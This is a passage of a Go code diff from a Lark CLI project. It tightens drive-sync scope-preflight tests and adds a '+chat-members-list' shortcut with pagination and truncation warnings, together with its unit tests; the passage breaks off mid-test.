 	f.Credential = credential.NewCredentialProvider(nil, nil, &driveStatusScopedTokenResolver{scopes: "drive:drive.metadata:readonly drive:file:download"}, nil)
 
 	tmpDir := t.TempDir()
@@ -1568,34 +1633,6 @@ func TestDriveSyncExactRemoteWinsAcceptsDownloadOnlyScope(t *testing.T) {
 		t.Fatalf("WriteFile a.txt: %v", err)
 	}
 
-	reg.Register(&httpmock.Stub{
-		Method: "GET",
-		URL:    "folder_token=folder_root",
-		Body: map[string]interface{}{
-			"code": 0, "msg": "ok",
-			"data": map[string]interface{}{
-				"files": []interface{}{
-					map[string]interface{}{"token": "tok_a", "name": "a.txt", "type": "file"},
-				},
-				"has_more": false,
-			},
-		},
-	})
-	reg.Register(&httpmock.Stub{
-		Method:  "GET",
-		URL:     "/open-apis/drive/v1/files/tok_a/download",
-		Status:  200,
-		Body:    []byte("remote-a"),
-		Headers: http.Header{"Content-Type": []string{"application/octet-stream"}},
-	})
-	reg.Register(&httpmock.Stub{
-		Method:  "GET",
-		URL:     "/open-apis/drive/v1/files/tok_a/download",
-		Status:  200,
-		Body:    []byte("remote-a"),
-		Headers: http.Header{"Content-Type": []string{"application/octet-stream"}},
-	})
-
 	err := mountAndRunDrive(t, DriveSync, []string{
 		"+sync",
 		"--local-dir", "local",
@@ -1603,11 +1640,30 @@ func TestDriveSyncExactRemoteWinsAcceptsDownloadOnlyScope(t *testing.T) {
 		"--on-conflict", "remote-wins",
 		"--as", "bot",
 	}, f, stdout)
-	if err != nil {
-		t.Fatalf("expected exact remote-wins to succeed with download-only scope, got: %v\nstdout: %s", err, stdout.String())
+	if err == nil {
+		t.Fatalf("expected action-scope preflight to reject download-only scope\nstdout: %s", stdout.String())
 	}
-	if strings.Contains(strings.ToLower(stdout.String()), "missing_scope") {
-		t.Fatalf("should not surface missing_scope, got: %s", stdout.String())
+	var permErr *errs.PermissionError
+	if !errors.As(err, &permErr) {
+		t.Fatalf("expected *errs.PermissionError, got %T: %v", err, err)
+	}
+	if permErr.Subtype != errs.SubtypeMissingScope {
+		t.Fatalf("Subtype = %q, want %q", permErr.Subtype, errs.SubtypeMissingScope)
+	}
+	for _, scope := range []string{"drive:file:upload", "space:folder:create"} {
+		found := false
+		for _, missing := range permErr.MissingScopes {
+			if missing == scope {
+				found = true
+				break
+			}
+		}
+		if !found {
+			t.Fatalf("MissingScopes = %v, want %s", permErr.MissingScopes, scope)
+		}
+	}
+	if strings.Contains(stdout.String(), "folder_root") {
+		t.Fatalf("preflight should fail before remote listing, got stdout: %s", stdout.String())
 	}
 }
 
@@ -2552,30 +2608,6 @@ func TestDriveSyncAskConflictRemoteShortForms(t *testing.T) {
 	}
 }
 
-// TestDriveSyncNeedsDownloadScopeReturnsFalseForLocalWinsOnly verifies
-// that driveSyncNeedsDownloadScope returns false when there are no
-// new_remote entries and all modified entries resolve to local-wins.
-func TestDriveSyncNeedsDownloadScopeReturnsFalseForLocalWinsOnly(t *testing.T) {
-	modified := []driveStatusEntry{{RelPath: "a.txt"}, {RelPath: "b.txt"}}
-	resolutions := map[string]string{"a.txt": driveSyncOnConflictLocalWins, "b.txt": driveSyncOnConflictLocalWins}
-
-	if driveSyncNeedsDownloadScope(nil, modified, resolutions) {
-		t.Fatal("expected false when no new_remote and all conflicts are local-wins")
-	}
-}
-
-// TestDriveSyncNeedsDownloadScopeReturnsTrueForKeepBoth verifies that
-// driveSyncNeedsDownloadScope returns true when a modified entry resolves
-// to keep-both (which requires pulling the remote version).
-func TestDriveSyncNeedsDownloadScopeReturnsTrueForKeepBoth(t *testing.T) {
-	modified := []driveStatusEntry{{RelPath: "a.txt"}}
-	resolutions := map[string]string{"a.txt": driveSyncOnConflictKeepBoth}
-
-	if !driveSyncNeedsDownloadScope(nil, modified, resolutions) {
-		t.Fatal("expected true when a conflict resolves to keep-both")
-	}
-}
-
 // TestDriveSyncRemoteWinsReportsMissingPullView verifies that when a
 // modified file's rel_path is not in pullRemoteFiles during the
 // remote-wins branch, a failed item is reported instead of a panic.
@@ -3083,3 +3115,19 @@ func driveSyncStdoutItems(t *testing.T, stdout []byte) []driveSyncItem {
 	}
 	return envelope.Data.Items
 }
+
+func driveSyncStdoutSummary(t *testing.T, stdout []byte) map[string]interface{} {
+	t.Helper()
+	var envelope struct {
+		Data struct {
+			Summary map[string]interface{} `json:"summary"`
+		} `json:"data"`
+	}
+	if err := json.Unmarshal(stdout, &envelope); err != nil {
+		t.Fatalf("unmarshal stdout: %v\nraw=%s", err, string(stdout))
+	}
+	if envelope.Data.Summary == nil {
+		t.Fatalf("stdout missing data.summary; raw=%s", string(stdout))
+	}
+	return envelope.Data.Summary
+}

shortcuts/im/helpers_test.go

@@ -651,6 +651,7 @@ func TestShortcuts(t *testing.T) {
 	want := []string{
 		"+chat-create",
 		"+chat-list",
+		"+chat-members-list",
 		"+chat-messages-list",
 		"+chat-search",
 		"+chat-update",

shortcuts/im/im_chat_members_list.go

@@ -0,0 +1,420 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package im
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"io"
+	"strings"
+	"time"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/output"
+	"github.com/larksuite/cli/internal/validate"
+	"github.com/larksuite/cli/shortcuts/common"
+)
+
+const (
+	imChatMembersListPathFmt       = "/open-apis/im/v1/chats/%s/members/list"
+	chatMembersListDefaultPageSize = 20
+	chatMembersListMaxPageSize     = 100
+	// chatMembersListDefaultPageDelay throttles --page-all the same way the
+	// generic paginateLoop does (200ms). It matters for tenants WITHOUT the
+	// server-side member cap, where a large group drains many pages back to
+	// back and could otherwise trip rate limits.
+	chatMembersListDefaultPageDelay = 200
+)
+
+// ImChatMembersList is the +chat-members-list shortcut: it lists chat members,
+// returning users and bots in separate buckets (users[]/bots[]). It owns its
+// pagination loop (mirroring the generic paginateLoop conventions: a per-page
+// log line, a --page-limit cap, a non-advancing-token guard) precisely because
+// the response is multi-bucket — the generic --page-all merger is built for
+// single-array responses and would drop the bots[] bucket and the final-page
+// truncations[] signal. See mergeChatMemberPages for the merge semantics.
+var ImChatMembersList = common.Shortcut{
+	Service:     "im",
+	Command:     "+chat-members-list",
+	Description: "List members of a chat; returns separate users[] / bots[] buckets; callable as user or bot; --member-types filters which kinds to return; --page-all pagination; surfaces truncations[] when the server caps a bucket",
+	Risk:        "read",
+	// Declare the narrowest scope the API accepts so tokens carrying only
+	// im:chat.members:read are honored (same rationale as +chat-list).
+	Scopes:    []string{"im:chat.members:read"},
+	AuthTypes: []string{"user", "bot"},
+	Flags: []common.Flag{
+		{Name: "chat-id", Required: true, Desc: "chat ID (oc_xxx)"},
+		{Name: "member-types", Type: "string_slice", Desc: "member types to return (user, bot); omit = all"},
+		{Name: "member-id-type", Default: "open_id", Desc: "ID type for member_id in response", Enum: []string{"open_id", "union_id", "user_id"}},
+		{Name: "page-size", Type: "int", Default: fmt.Sprintf("%d", chatMembersListDefaultPageSize), Desc: fmt.Sprintf("page size, 1-%d", chatMembersListMaxPageSize)},
+		{Name: "page-token", Desc: "page token; implies single-page fetch (no auto-pagination)"},
+		{Name: "page-all", Type: "bool", Desc: "automatically paginate through all pages (capped by --page-limit)"},
+		{Name: "page-limit", Type: "int", Default: "10", Desc: "max pages to fetch with --page-all (default 10, 0 = unlimited)"},
+		{Name: "page-delay", Type: "int", Default: fmt.Sprintf("%d", chatMembersListDefaultPageDelay), Desc: "delay in ms between pages when --page-all (0 = no delay)"},
+	},
+	Tips: []string{
+		"Default fetches a single page; pass --page-all to walk every page.",
+		"With --page-all and no explicit --page-size, the max page size is used to minimize round-trips.",
+		"truncations[] in the result means the server capped a bucket due to security config — the member list is incomplete.",
+	},
+	Validate: func(ctx context.Context, runtime *common.RuntimeContext) error {
+		chatID := strings.TrimSpace(runtime.Str("chat-id"))
+		if chatID == "" {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--chat-id is required (oc_xxx)").WithParam("--chat-id")
+		}
+		if !strings.HasPrefix(chatID, "oc_") {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "invalid --chat-id %q: must be an open_chat_id starting with oc_", chatID).WithParam("--chat-id")
+		}
+		if n := runtime.Int("page-size"); n < 1 || n > chatMembersListMaxPageSize {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--page-size must be an integer between 1 and %d", chatMembersListMaxPageSize).WithParam("--page-size")
+		}
+		if n := runtime.Int("page-limit"); n < 0 {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--page-limit must be a non-negative integer").WithParam("--page-limit")
+		}
+		if n := runtime.Int("page-delay"); n < 0 {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--page-delay must be a non-negative integer").WithParam("--page-delay")
+		}
+		_, err := normalizeMemberTypes(runtime.StrSlice("member-types"))
+		return err
+	},
+	DryRun: func(ctx context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {
+		chatID := strings.TrimSpace(runtime.Str("chat-id"))
+		dry := common.NewDryRunAPI()
+		if chatMembersShouldAutoPaginate(runtime) {
+			dry.Desc("Auto-paginates through all pages (capped by --page-limit when > 0)")
+		}
+		params, _ := buildChatMembersParams(runtime, strings.TrimSpace(runtime.Str("page-token")))
+		return dry.
+			GET(fmt.Sprintf(imChatMembersListPathFmt, validate.EncodePathSegment(chatID))).
+			Params(params)
+	},
+	Execute: func(ctx context.Context, runtime *common.RuntimeContext) error {
+		warnIfConflictingPagingFlags(runtime)
+
+		chatID := strings.TrimSpace(runtime.Str("chat-id"))
+		res, err := fetchChatMembers(ctx, runtime, chatID)
+		if err != nil {
+			return err
+		}
+
+		// The truncation signal is the whole reason this is a dedicated shortcut:
+		// surface it loudly so an agent never mistakes a capped list for a
+		// complete one.
+		if len(res.truncations) > 0 {
+			writeChatMembersTruncationWarning(runtime.IO().ErrOut, res.truncations)
+		}
+		fmt.Fprintf(runtime.IO().ErrOut, "Found %d user(s) and %d bot(s)\n", len(res.users), len(res.bots))
+
+		outData := map[string]interface{}{
+			"chat_id":     chatID,
+			"users":       res.users,
+			"bots":        res.bots,
+			"truncations": res.truncations,
+			"has_more":    res.hasMore,
+			"page_token":  res.pageToken,
+		}
+		if res.userTotal != nil {
+			outData["user_total"] = res.userTotal
+		}
+		if res.botTotal != nil {
+			outData["bot_total"] = res.botTotal
+		}
+
+		runtime.OutFormat(outData, &output.Meta{Count: len(res.users) + len(res.bots)}, func(w io.Writer) {
+			renderChatMembersPretty(w, chatID, res)
+		})
+		return nil
+	},
+}
+
+// chatMembersResult is the aggregated view across one or more pages.
+type chatMembersResult struct {
+	users       []interface{}
+	bots        []interface{}
+	truncations []interface{}
+	userTotal   interface{}
+	botTotal    interface{}
+	hasMore     bool
+	pageToken   string
+}
+
+// effectiveChatMembersPageSize resolves the page_size to request. When draining
+// every page (--page-all) and the caller did NOT explicitly set --page-size, it
+// uses the maximum so a full walk takes the fewest round-trips. An explicit
+// --page-size is always honored; without --page-all the smaller default is kept
+// as a sensible single-page preview size.
+func effectiveChatMembersPageSize(runtime *common.RuntimeContext) int {
+	if chatMembersShouldAutoPaginate(runtime) && !runtime.Changed("page-size") {
+		return chatMembersListMaxPageSize
+	}
+	if n := runtime.Int("page-size"); n > 0 {
+		return n
+	}
+	return chatMembersListDefaultPageSize
+}
+
+// chatMembersShouldAutoPaginate reports whether the fetch loop should walk
+// every page. An explicit --page-token disables the auto loop because the
+// caller supplied a specific cursor (single-page fetch).
+func chatMembersShouldAutoPaginate(runtime *common.RuntimeContext) bool {
+	if strings.TrimSpace(runtime.Str("page-token")) != "" {
+		return false
+	}
+	return runtime.Bool("page-all")
+}
+
+// buildChatMembersParams builds the query params for one page request. The
+// startToken (when non-empty) seeds the page_token; the loop overrides it per
+// page. Returns the params and the normalized member-types CSV (already
+// validated by Validate, so the error is only a defensive guard).
+func buildChatMembersParams(runtime *common.RuntimeContext, startToken string) (map[string]interface{}, error) {
+	memberTypes, err := normalizeMemberTypes(runtime.StrSlice("member-types"))
+	if err != nil {
+		return nil, err
+	}
+	params := map[string]interface{}{
+		"member_id_type": runtime.Str("member-id-type"),
+		"page_size":      effectiveChatMembersPageSize(runtime),
+	}
+	if memberTypes != "" {
+		params["member_types"] = memberTypes
+	}
+	if startToken != "" {
+		params["page_token"] = startToken
+	}
+	return params, nil
+}
+
+// fetchChatMembers walks the list_members endpoint, honoring the four
+// pagination flags the same way the generic --page-all path does. It merges
+// each page into the aggregate as it arrives (rather than buffering every raw
+// page), so peak memory is just the aggregated members plus the single most
+// recent page — important for large groups under --page-limit 0.
+func fetchChatMembers(ctx context.Context, runtime *common.RuntimeContext, chatID string) (*chatMembersResult, error) {
+	auto := chatMembersShouldAutoPaginate(runtime)
+	pageLimit := runtime.Int("page-limit")
+	pageDelay := runtime.Int("page-delay")
+	apiPath := fmt.Sprintf(imChatMembersListPathFmt, validate.EncodePathSegment(chatID))
+
+	params, err := buildChatMembersParams(runtime, strings.TrimSpace(runtime.Str("page-token")))
+	if err != nil {
+		return nil, err
+	}
+
+	res := newChatMembersResult()
+	var lastData map[string]interface{}
+	pageToken := strings.TrimSpace(runtime.Str("page-token"))
+	for page := 0; ; page++ {
+		if pageToken != "" {
+			params["page_token"] = pageToken
+		}
+		fmt.Fprintf(runtime.IO().ErrOut, "[page %d] fetching...\n", page+1)
+		data, err := runtime.CallAPITyped("GET", apiPath, params, nil)
+		if err != nil {
+			return nil, err
+		}
+		addMemberBuckets(res, data)
+		lastData = data
+
+		hasMore, nextToken := common.PaginationMeta(data)
+		if !auto {
+			break
+		}
+		if !hasMore || nextToken == "" {
+			break
+		}
+		if nextToken == pageToken {
+			// Guard against a buggy server echoing the same cursor with
+			// has_more=true: without --page-limit we would loop forever.
+			fmt.Fprintln(runtime.IO().ErrOut, "Stopping pagination: server returned a non-advancing page_token.")
+			break
+		}
+		if pageLimit > 0 && page+1 >= pageLimit {
+			fmt.Fprintf(runtime.IO().ErrOut, "[pagination] reached page limit (%d), stopping. Use --page-all --page-limit 0 to fetch all pages.\n", pageLimit)
+			break
+		}
+		pageToken = nextToken
+		// Throttle between pages (only reached when another page follows), so
+		// draining a large untruncated list doesn't hammer the API.
+		if pageDelay > 0 {
+			time.Sleep(time.Duration(pageDelay) * time.Millisecond)
+		}
+	}
+	if lastData != nil {
+		applyLastPageSignals(res, lastData)
+	}
+	return res, nil
+}
+
+// newChatMembersResult returns an empty aggregate with non-nil buckets so the
+// JSON output always carries arrays (never null).
+func newChatMembersResult() *chatMembersResult {
+	return &chatMembersResult{
+		users:       []interface{}{},
+		bots:        []interface{}{},
+		truncations: []interface{}{},
+	}
+}
+
+// addMemberBuckets appends one page's users[] and bots[] into the aggregate.
+// Concatenating every bucket is what avoids dropping bots[] — the bug the
+// generic single-array --page-all merger would hit on this multi-bucket shape.
+func addMemberBuckets(res *chatMembersResult, data map[string]interface{}) {
+	if u, ok := data["users"].([]interface{}); ok {
+		res.users = append(res.users, u...)
+	}
+	if b, ok := data["bots"].([]interface{}); ok {
+		res.bots = append(res.bots, b...)
+	}
+}
+
+// applyLastPageSignals copies the per-request signals from the FINAL page:
+// has_more / page_token / truncations / totals. These must come from the last
+// page, not page 1: truncations[] is emitted only on the final page (empty
+// earlier), so reading it sooner would hide a server-side cap; user_total /
+// bot_total are server-wide counts, and taking the final page's value keeps a
+// single, consistent source rather than a possibly-stale earlier count.
+func applyLastPageSignals(res *chatMembersResult, data map[string]interface{}) {
+	res.hasMore, res.pageToken = common.PaginationMeta(data)
+	if t, ok := data["truncations"].([]interface{}); ok {
+		res.truncations = t
+	}
+	res.userTotal = data["user_total"]
+	res.botTotal = data["bot_total"]
+}
+
+// mergeChatMemberPages folds a slice of page payloads into one aggregate. It is
+// the same logic fetchChatMembers applies incrementally, kept as a pure
+// function so the multi-bucket merge + last-page-signal semantics are unit
+// tested in one place.
+func mergeChatMemberPages(pages []map[string]interface{}) *chatMembersResult {
+	res := newChatMembersResult()
+	if len(pages) == 0 {
+		return res
+	}
+	for _, data := range pages {
+		addMemberBuckets(res, data)
+	}
+	applyLastPageSignals(res, pages[len(pages)-1])
+	return res
+}
+
+// normalizeMemberTypes validates the --member-types slice (already CSV-split by
+// cobra) into a lowercased, deduped CSV string. Empty input is a no-op (return
+// the API's default of all types). Any element outside {user, bot} is rejected.
+func normalizeMemberTypes(raw []string) (string, error) {
+	if len(raw) == 0 {
+		return "", nil
+	}
+	seen := make(map[string]struct{}, len(raw))
+	out := make([]string, 0, len(raw))
+	for _, p := range raw {
+		p = strings.TrimSpace(strings.ToLower(p))
+		if p != "user" && p != "bot" {
+			return "", errs.NewValidationError(errs.SubtypeInvalidArgument, "invalid --member-types value %q: expected one of user, bot", p).WithParam("--member-types")
+		}
+		if _, dup := seen[p]; dup {
+			continue
+		}
+		seen[p] = struct{}{}
+		out = append(out, p)
+	}
+	return strings.Join(out, ","), nil
+}
+
+// warnIfConflictingPagingFlags mirrors the wiki list shortcuts: --page-token
+// wins (single-page fetch from the supplied cursor) and --page-all is ignored.
+func warnIfConflictingPagingFlags(runtime *common.RuntimeContext) {
+	if strings.TrimSpace(runtime.Str("page-token")) != "" && runtime.Bool("page-all") {
+		fmt.Fprintln(runtime.IO().ErrOut,
+			"warning: --page-token is set, so --page-all is ignored (single-page fetch from the supplied cursor)")
+	}
+}
+
+// writeChatMembersTruncationWarning emits a stderr warning for every
+// server-side bucket cap reported in truncations[]. It uses the repo's plain
+// "warning: <code>: <message>" convention (see shortcuts/common/runner.go and
+// +chat-list's bot_strip_p2p) — no emoji, so it stays legible in CI logs and
+// pipes regardless of terminal encoding.
+func writeChatMembersTruncationWarning(w io.Writer, truncations []interface{}) {
+	for _, t := range truncations {
+		tm, ok := t.(map[string]interface{})
+		if !ok {
+			continue
+		}
+		memberType := valueOrAll(tm["member_type"])
+		limit := tm["limit"]
+		fmt.Fprintf(w, "warning: members_truncated: %s bucket capped at %v by server security config; the member list is INCOMPLETE\n", memberType, limit)
+	}
+}
+
+func valueOrAll(v interface{}) string {
+	if s, ok := v.(string); ok && s != "" {
+		return s
+	}
+	return "member"
+}
+
+func renderChatMembersPretty(w io.Writer, chatID string, res *chatMembersResult) {
+	fmt.Fprintf(w, "Chat: %s\n", chatID)
+	// Show the server-wide total next to the fetched count: when truncated or
+	// paged, total can far exceed len(users)/len(bots), and that gap is exactly
+	// what tells the reader how incomplete the list is.
+	fmt.Fprintf(w, "Users (%d%s):\n", len(res.users), totalSuffix(res.userTotal, len(res.users)))
+	for i, u := range res.users {
+		m, _ := u.(map[string]interface{})
+		fmt.Fprintf(w, "  [%d] %s  %s\n", i+1, valueOrDash(m["member_id"]), valueOrDash(m["name"]))
+	}
+	fmt.Fprintf(w, "Bots (%d%s):\n", len(res.bots), totalSuffix(res.botTotal, len(res.bots)))
+	for i, b := range res.bots {
+		m, _ := b.(map[string]interface{})
+		fmt.Fprintf(w, "  [%d] %s  %s\n", i+1, valueOrDash(m["member_id"]), valueOrDash(m["name"]))
+	}
+	if len(res.truncations) > 0 {
+		fmt.Fprintln(w, "warning: result truncated by server security config (see truncations[]); the list is INCOMPLETE")
+	}
+	if res.hasMore {
+		fmt.Fprint(w, "More pages available; pass --page-all (and --page-limit 0 for everything)")
+		if res.pageToken != "" {
+			fmt.Fprintf(w, ", or --page-token %s to resume", res.pageToken)
+		}
+		fmt.Fprintln(w)
+	}
+}
+
+func valueOrDash(v interface{}) string {
+	if s, ok := v.(string); ok && s != "" {
+		return s
+	}
+	return "-"
+}
+
+// totalSuffix renders " of <total>" when the server-reported total exceeds the
+// number actually fetched (so a truncated/partial bucket is obvious), and ""
+// when the total is absent or already matches the fetched count.
+func totalSuffix(total interface{}, fetched int) string {
+	n, ok := toInt(total)
+	if !ok || n <= fetched {
+		return ""
+	}
+	return fmt.Sprintf(" of %d", n)
+}
+
+// toInt coerces a JSON-decoded number (float64 / json.Number / int) to int.
+func toInt(v interface{}) (int, bool) {
+	switch n := v.(type) {
+	case float64:
+		return int(n), true
+	case int:
+		return n, true
+	case int64:
+		return int(n), true
+	case json.Number:
+		if i, err := n.Int64(); err == nil {
+			return int(i), true
+		}
+	}
+	return 0, false
+}

shortcuts/im/im_chat_members_list_test.go

@@ -0,0 +1,325 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package im
+
+import (
+	"bytes"
+	"context"
+	"errors"
+	"fmt"
+	"net/http"
+	"strconv"
+	"strings"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/shortcuts/common"
+	"github.com/spf13/cobra"
+)
+
+// page builds one list_members page payload shaped like the data object the
+// server returns (users[]/bots[]/truncations[] plus paging + totals).
+func cmlPage(users, bots, truncations []interface{}, hasMore bool, pageToken string) map[string]interface{} {
+	return map[string]interface{}{
+		"users":       users,
+		"bots":        bots,
+		"truncations": truncations,
+		"has_more":    hasMore,
+		"page_token":  pageToken,
+		"user_total":  324,
+		"bot_total":   2,
+	}
+}
+
+func us(ids ...string) []interface{} {
+	out := make([]interface{}, 0, len(ids))
+	for _, id := range ids {
+		out = append(out, map[string]interface{}{"member_id": id})
+	}
+	return out
+}
+
+// TestMergeChatMemberPages_MergesUsersAndBots covers Bug 1: every list bucket
+// (users AND bots) must be concatenated across pages, not just one of them.
+func TestMergeChatMemberPages_MergesUsersAndBots(t *testing.T) {
+	pages := []map[string]interface{}{
+		cmlPage(us("u1", "u2"), us("b1"), []interface{}{}, true, "p2"),
+		cmlPage(us("u3"), us("b2", "b3"), []interface{}{}, false, ""),
+	}
+
+	res := mergeChatMemberPages(pages)
+
+	if len(res.users) != 3 {
+		t.Errorf("users: want 3 merged, got %d", len(res.users))
+	}
+	if len(res.bots) != 3 {
+		t.Errorf("bots: want 3 merged, got %d", len(res.bots))
+	}
+}
+
+// TestMergeChatMemberPages_TruncationsFromLastPage covers Bug 2: truncations[]
+// is emitted only on the final page, so the merged view must take it from the
+// last page rather than inherit page 1's empty slice.
+func TestMergeChatMemberPages_TruncationsFromLastPage(t *testing.T) {
+	limit := []interface{}{map[string]interface{}{"limit": 100, "member_type": "user"}}
+	pages := []map[string]interface{}{
+		cmlPage(us("u1"), us("b1"), []interface{}{}, true, "p2"),
+		cmlPage(us("u2"), nil, limit, false, ""),
+	}
+
+	res := mergeChatMemberPages(pages)
+
+	if len(res.truncations) != 1 {
+		t.Fatalf("truncations: want last page's 1 entry, got %d (%v)", len(res.truncations), res.truncations)
+	}
+}
+
+// TestMergeChatMemberPages_HasMoreAndTokenFromLastPage guards that paging
+// signals come from the final page (so a --page-limit cutoff is visible).
+func TestMergeChatMemberPages_HasMoreAndTokenFromLastPage(t *testing.T) {
+	pages := []map[string]interface{}{
+		cmlPage(us("u1"), nil, nil, true, "p2"),
+		cmlPage(us("u2"), nil, nil, true, "p3"), // loop stopped early; server still has more
+	}
+
+	res := mergeChatMemberPages(pages)
+
+	if !res.hasMore {
+		t.Error("has_more: want true from last page")
+	}
+	if res.pageToken != "p3" {
+		t.Errorf("page_token: want last page's p3, got %q", res.pageToken)
+	}
+}
+
+// TestMergeChatMemberPages_TotalsFromLastPage verifies user_total / bot_total
+// are taken from the final page (not an earlier, possibly-different value).
+func TestMergeChatMemberPages_TotalsFromLastPage(t *testing.T) {
+	pages := []map[string]interface{}{
+		{"users": us("u1"), "user_total": 999, "bot_total": 7, "has_more": true, "page_token": "p2"},
+		{"users": us("u2"), "user_total": 324, "bot_total": 2, "has_more": false, "page_token": ""},
+	}
+	res := mergeChatMemberPages(pages)
+	if n, _ := toInt(res.userTotal); n != 324 {
+		t.Errorf("user_total: want last page's 324, got %v", res.userTotal)
+	}
+	if n, _ := toInt(res.botTotal); n != 2 {
+		t.Errorf("bot_total: want last page's 2, got %v", res.botTotal)
+	}
+}
+
+// TestChatMembersValidate covers --chat-id presence + oc_ prefix enforcement.
+func TestChatMembersValidate(t *testing.T) {
+	noop := shortcutRoundTripFunc(func(req *http.Request) (*http.Response, error) {
+		return shortcutJSONResponse(200, map[string]interface{}{"code": 0, "data": cmlPage(nil, nil, nil, false, "")}), nil
+	})
+	cases := []struct {
+		name    string
+		chatID  string
+		wantErr bool
+	}{
+		{"valid oc_", "oc_abc", false},
+		{"empty", "", true},
+		{"missing oc_ prefix", "abc123", true},
+	}
+	for _, c := range cases {
+		rt := newChatMembersTestRuntime(t, noop, map[string]string{"chat-id": c.chatID}, nil, nil)
+		err := ImChatMembersList.Validate(context.Background(), rt)
+		if c.wantErr {
+			assertValidationError(t, c.name, err, "--chat-id")
+			continue
+		}
+		if err != nil {
+			t.Errorf("%s: unexpected error %v", c.name, err)
+		}
+	}
+}
+
+// assertValidationError checks err satisfies the repo's typed-error contract for
+// a validation failure: a *errs.ValidationError carrying the expected Param, and
+// problem metadata of category validation / subtype invalid_argument.
+func assertValidationError(t *testing.T, ctx string, err error, wantParam string) {
+	t.Helper()
+	var ve *errs.ValidationError
+	if !errors.As(err, &ve) {
+		t.Errorf("%s: want *errs.ValidationError, got %T (%v)", ctx, err, err)
+		return
+	}
+	if ve.Param != wantParam {
+		t.Errorf("%s: Param = %q, want %q", ctx, ve.Param, wantParam)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Category != errs.CategoryValidation || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Errorf("%s: problem = %+v (ok=%v), want category=%s subtype=%s", ctx, p, ok, errs.CategoryValidation, errs.SubtypeInvalidArgument)
+	}
+}
+
+func TestNormalizeMemberTypes(t *testing.T) {
+	cases := []struct {
+		in      []string
+		want    string
+		wantErr bool
+	}{
+		{nil, "", false},
+		{[]string{"user", "bot"}, "user,bot", false},
+		{[]string{"USER", "user"}, "user", false}, // lowercased + deduped
+		{[]string{"admin"}, "", true},
+		{[]string{""}, "", true},
+	}
+	for _, c := range cases {
+		got, err := normalizeMemberTypes(c.in)
+		if c.wantErr {
+			assertValidationError(t, fmt.Sprintf("normalizeMemberTypes(%v)", c.in), err, "--member-types")
+			continue
+		}
+		if err != nil {
+			t.Errorf("normalizeMemberTypes(%v): unexpected error %v", c.in, err)
+		}
+		if got != c.want {
+			t.Errorf("normalizeMemberTypes(%v) = %q, want %q", c.in, got, c.want)
+		}
+	}
+}
+
+// TestEffectiveChatMembersPageSize covers the --page-all max-page-size behavior:
+// drain with no explicit size → max; explicit size → honored; single page → default.
+func TestEffectiveChatMembersPageSize(t *testing.T) {
+	noop := shortcutRoundTripFunc(func(req *http.Request) (*http.Response, error) {
+		return shortcutJSONResponse(200, map[string]interface{}{"code": 0, "data": cmlPage(nil, nil, nil, false, "")}), nil
+	})
+	cases := []struct {
+		name string
+		b    map[string]bool
+		ints map[string]int
+		want int
+	}{
+		{"page-all, size unset -> max", map[string]bool{"page-all": true}, nil, chatMembersListMaxPageSize},
+		{"page-all, size explicit -> honored", map[string]bool{"page-all": true}, map[string]int{"page-size": 15}, 15},
+		{"single page, size unset -> default", nil, nil, chatMembersListDefaultPageSize},
+	}
+	for _, c := range cases {
+		rt := newChatMembersTestRuntime(t, noop, map[string]string{"chat-id": "oc_x"}, c.b, c.ints)
+		if got := effectiveChatMembersPageSize(rt); got != c.want {
+			t.Errorf("%s: want %d, got %d", c.name, c.want, got)
+		}
+	}
+}
+
+// newChatMembersTestRuntime registers the shortcut's flags and returns a
+// user-identity runtime wired to the given RoundTripper for multi-page mocking.
+func newChatMembersTestRuntime(t *testing.T, rt http.RoundTripper, str map[string]string, b map[string]bool, ints map[string]int) *common.RuntimeContext {
+	t.Helper()
+	runtime := newUserShortcutRuntime(t, rt)
+	cmd := &cobra.Command{Use: "test"}
+	cmd.Flags().String("chat-id", "", "")
+	cmd.Flags().String("member-id-type", "open_id", "")
+	cmd.Flags().StringSlice("member-types", nil, "")
+	cmd.Flags().String("page-token", "", "")
+	cmd.Flags().Bool("page-all", false, "")
+	cmd.Flags().Int("page-size", 20, "")
+	cmd.Flags().Int("page-limit", 10, "")
+	cmd.Flags().Int("page-delay", 200, "")
+	if err := cmd.ParseFlags(nil); err != nil {
+		t.Fatalf("ParseFlags: %v", err)
+	}
+	for k, v := range str {
+		if err := cmd.Flags().Set(k, v); err != nil {
+			t.Fatalf("set %s: %v", k, err)
+		}
+	}
+	for k, v := range b {
+		if err := cmd.Flags().Set(k, strconv.FormatBool(v)); err != nil {
+			t.Fatalf("set %s: %v", k, err)
+		}
+	}
+	for k, v := range ints {
+		if err := cmd.Flags().Set(k, strconv.Itoa(v)); err != nil {
+			t.Fatalf("set %s: %v", k, err)
+		}
+	}
+	runtime.Cmd = cmd
+	return runtime
+}
+
+// TestFetchChatMembers_PageAllMergesBucketsAndTruncations exercises the full
+// fetch loop over mocked pages: users/bots merge across pages and the final
+// page's truncations[] survives.
+func TestFetchChatMembers_PageAllMergesBucketsAndTruncations(t *testing.T) {
+	calls := 0
+	rt := shortcutRoundTripFunc(func(req *http.Request) (*http.Response, error) {
+		if !strings.Contains(req.URL.Path, "/open-apis/im/v1/chats/oc_test/members/list") {
+			return shortcutJSONResponse(404, map[string]interface{}{"code": 1}), nil
+		}
+		calls++
+		token := req.URL.Query().Get("page_token")
+		if token == "" {
+			return shortcutJSONResponse(200, map[string]interface{}{
+				"code": 0,
+				"data": cmlPage(us("u1", "u2"), us("b1"), []interface{}{}, true, "p2"),
+			}), nil
+		}
+		return shortcutJSONResponse(200, map[string]interface{}{
+			"code": 0,
+			"data": cmlPage(us("u3"), us("b2"), []interface{}{map[string]interface{}{"limit": 100, "member_type": "user"}}, false, ""),
+		}), nil
+	})
+	runtime := newChatMembersTestRuntime(t, rt,
+		map[string]string{"chat-id": "oc_test"},
+		map[string]bool{"page-all": true},
